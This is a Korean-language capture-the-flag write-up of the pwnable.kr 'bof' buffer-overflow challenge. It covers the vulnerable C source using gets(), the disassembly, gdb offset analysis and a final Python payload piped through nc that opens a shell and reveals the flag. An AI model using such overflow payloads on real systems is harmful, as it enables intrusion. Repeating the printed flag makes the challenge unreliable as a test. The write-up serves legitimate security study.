Source
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; } | cs |
Main()함수에서는 func() 함수 인자로 "0xdeadbeef" 문자열이 전달되고 func()함수 내에서는 사용자에게 문자열 입력을 받는 프로그램이다.
gets()함수로 문자열 입력받을 때 문자열 길이 제한이 없어 취약점이 발생 된다.
메모리내에 key 변수 값을 "0xcafebabe"로 변경하면 system()함수가 실행 된다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | Buf= byte ptr -2Ch var_C= dword ptr -0Ch DEADBEEF= dword ptr 8 push ebp mov ebp, esp sub esp, 72 mov eax, large gs:14h mov [ebp+var_C], eax xor eax, eax mov dword ptr [esp], offset s ; "overflow me : " call puts lea eax, [ebp+Buf] mov [esp], eax ; BufSize=44 call gets cmp [ebp+DEADBEEF], 0CAFEBABEh jnz short loc_66B | cs |
func()함수 disassemble code에서 Buf 크기를 알아낸 뒤 Buffer overflow로 key 값을 0xcafebabe로 덮어쓰면 된다.
Buffer overflow가 발생하기 전 0xdeadbeef는 EBP+8에 존재하는 것을 확인 하였다.
(gdb) c
Continuing.
overflow me :
ABCDEFG
(gdb) x/wx $ebp
0xffffd348: 0xffffd368
(gdb) x/wx $ebp+4
0xffffd34c: 0x5655569f
(gdb) x/wx $ebp+8
0xffffd350: 0xdeadbeef
Buffer 사이즈는 44byte이고 EBP(4byte), RET(4byte)를 더하면 52byte이다.
Buffer와 ebp까지 48byte로 덮고, RET는 BBBB로 덮고, ebp+8(0xdeadbeef)를 CCCC로 덮은 결과이다.
(gdb) c
Continuing.
overflow me :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC
(gdb) x/wx $ebp
0xffffd348: 0x41414141
(gdb) x/wx $ebp+4
0xffffd34c: 0x42424242
(gdb) x/wx $ebp+8
0xffffd350: 0x43434343
최종적인 Exploit payload이다.
asecbug@box:~$ (python -c 'print "A"*52+"\xbe\xba\xfe\xca"';cat)| nc pwnable.kr 9000
id
uid=1008(bof) gid=1008(bof) groups=1008(bof)
cat flag
daddy, I just pwned a buFFer :)